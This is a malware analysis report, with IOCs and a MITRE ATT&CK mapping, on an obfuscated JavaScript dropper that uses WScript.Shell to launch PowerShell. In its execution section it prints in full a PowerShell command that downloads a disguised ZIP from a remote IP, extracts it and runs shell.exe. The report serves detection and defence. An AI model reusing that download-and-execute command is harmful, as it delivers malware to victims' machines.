# 🛡️ Technical Analysis Report

## 📄 Title:

Obfuscated JavaScript Dropper Using PowerShell to Deliver Payload

## 📑 Summary

A malicious JavaScript sample was identified using obfuscation techniques to evade static detection. The script leverages Windows Script Host (WSH) via an ActiveXObject (WScript.Shell) to execute a PowerShell command that downloads a file from an external Command and Control (C2) server, extracts it, and executes a secondary payload.  
  
The primary goal of this dropper is to deliver and run a file named shell.exe from a remote ZIP archive hosted on a suspicious IP address.

## 🔍 Behavioral Analysis

### 1. Obfuscation

The script uses a self-modifying function (\_0x52fe) with a numeric offset and a hardcoded array of string fragments. The goal of this obfuscation is to hide string literals and logic to bypass static detection by antivirus or EDR tools.

### 2. Execution Logic

The script instantiates WScript.Shell via ActiveXObject to gain execution capabilities. It dynamically builds a PowerShell command and executes it.

### 3. PowerShell Payload Actions

The script builds and runs the following PowerShell command:

powershell -Command "Start-BitsTransfer -Source 'http://185.81.157.148:777/j.jpg' -DestinationPath 'C:\Users\Public\ben.zip'; Expand-Archive -Path 'C:\Users\Public\ben.zip' -DestinationPath 'C:\Users\Public\' -Force; Start-Process 'C:\Users\Public\shell.exe'"

This command performs three actions:

1. Download a file (j.jpg) using Start-BitsTransfer from a remote server.

2. Save it as a ZIP file to: C:\Users\Public\ben.zip

3. Extract the archive to C:\Users\Public\

4. Execute the extracted file shell.exe

## 📌 Indicators of Compromise (IOCs)

|  |  |
| --- | --- |
| Type | Value |
| C2 URL | http://185.81.157.148:777/j.jpg |
| IP Address | 185.81.157.148 |
| Executable | C:\Users\Public\shell.exe |
| File Hash | 978bf1471b3536dfdea854dd1c5d8ee63bdfbc8223c0254a92b183a711699a3a |

## 🧪 MITRE ATT&CK Mapping

|  |  |
| --- | --- |
| Technique | Description |
| T1059.001 | PowerShell: Scripting via PowerShell |
| T1204.002 | User Execution: Malicious Script |
| T1105 | Ingress Tool Transfer (file download) |
| T1027 | Obfuscated Files or Information |

## 📎 Additional Notes

Although the file j.jpg has a .jpg extension, it is treated as a ZIP archive. This is a known tactic to bypass file-type filtering.  
shell.exe is likely the true malware payload, and further investigation is required to understand its capabilities.